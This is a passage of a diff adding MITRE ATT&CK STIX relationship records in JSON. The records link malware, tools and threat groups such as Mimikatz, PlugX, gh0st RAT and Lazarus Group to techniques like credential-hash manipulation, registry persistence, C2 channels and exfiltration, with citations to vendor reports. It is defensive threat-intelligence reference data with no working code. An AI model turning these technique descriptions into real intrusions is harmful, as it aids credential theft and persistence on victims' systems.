[Mimikatz](https://attack.mitre.org/software/S0002) credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LSADUMP::ChangeNTLM and LSADUMP::SetNTLM modules can also manipulate the password hash of an account without knowing the clear text value.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6e641c36-188b-480e-b177-e412cd000b34", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.358Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.", + "source_name": "Metcalf 2015", + "url": "http://adsecurity.org/?p=1275" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) enables concurrent Remote Desktop Protocol (RDP).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4b310a47-e010-4984-afcb-52d9c8c7933a", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about network parameters.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b8ff36d-ff96-460a-b5cf-d369e7f598d9", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9e587add-08b7-4ecb-a40a-664b9cff1d0f", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) adds a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T14:51:06.807Z", + "id": "relationship--ab2b2cd2-9f20-4497-a6d3-ef1698809779", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command cmd.exe /c ipconfig /all.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--39e856a1-4bab-474e-a6b2-3ce69249bc29", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) performs data exfiltration is accomplished through the following command-line command: from (- --).txt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--acf05380-4076-43b2-8863-257272ed0f79", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Nerex](https://attack.mitre.org/software/S0210) creates a backdoor through which remote attackers can download files onto a compromised host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--107e2686-a764-4ace-9200-43ead29ce579", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.", + "source_name": "Symantec Ristol May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) uses AES to encrypt certain information sent over its C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1bc5328a-e079-4478-9d04-d840626d4976", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the system by running hostname and systeminfo on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a88332d2-d03f-4139-b11c-19e82459189b", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) uses a specific port of 443 and can also use ports 53 and 80 for C2. One [RedLeaves](https://attack.mitre.org/software/S0153) variant uses HTTP over port 443 to connect to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--388b4637-f634-42ab-a370-981be7da89bd", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[PlugX](https://attack.mitre.org/software/S0013) adds Run key entries in the Registry to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a29d9514-3284-4ac2-a93a-e17750519534", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:16.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has the capability to list processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a564f3da-349a-4e65-826c-8ca60bc920bf", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "source_name": "FireEye Hacking Team", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use net start to display running services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--09c10778-19ad-441a-8a75-a3cf1288f960", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--55ffbd77-ec97-4dca-9399-b9e4b62fbbf8", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.836Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--8c58cfe5-0b71-434c-939a-329b612d2337", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.666Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used mshta.exe to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload and to pass a PowerShell one-liner for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1923bc58-a830-457d-810f-27091e032f46", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.855Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--35a9c64c-c305-46bf-a216-c8bb1b051614", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.836Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Waterbug", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) writes data into the Registry key HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Pniumj.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c0d119a2-c5f9-4c18-a18c-28bfa576ea9a", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b26eb7d2-1147-4c2b-a1eb-4a457e081e22", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.540Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--62c8913c-c193-4feb-ab58-88343838336d", + "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.", + "source_name": "Securelist MiniDuke Feb 2013", + "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has created password-protected RAR, WinImage, and zip archives to be exfiltrated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f2a14699-40e1-450c-9866-386ff3e95dca", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--47415cec-25f8-4425-9125-157e1637a687", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can perform webcam viewing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f3c0c3c1-e7a9-46ae-94cf-e128120a7c5f", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the account name of the logged-in user and sends it to the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "modified": "2019-05-03T16:44:41.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the username from the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f2da9aaa-de4a-4825-b82d-d07ecc34e35c", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.247Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.", + "source_name": "Security Intelligence More Eggs Aug 2019", + "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) can obtain information on installed anti-malware programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b741ebf6-1436-4c44-94cd-d3c5b1155a35", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "modified": "2019-09-16T19:41:10.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "source_name": "Talos Cobalt Group July 2018", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--29fc21b0-4946-4c75-a28e-f8dad46897af", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.562Z", + "object_marking_refs": [ + 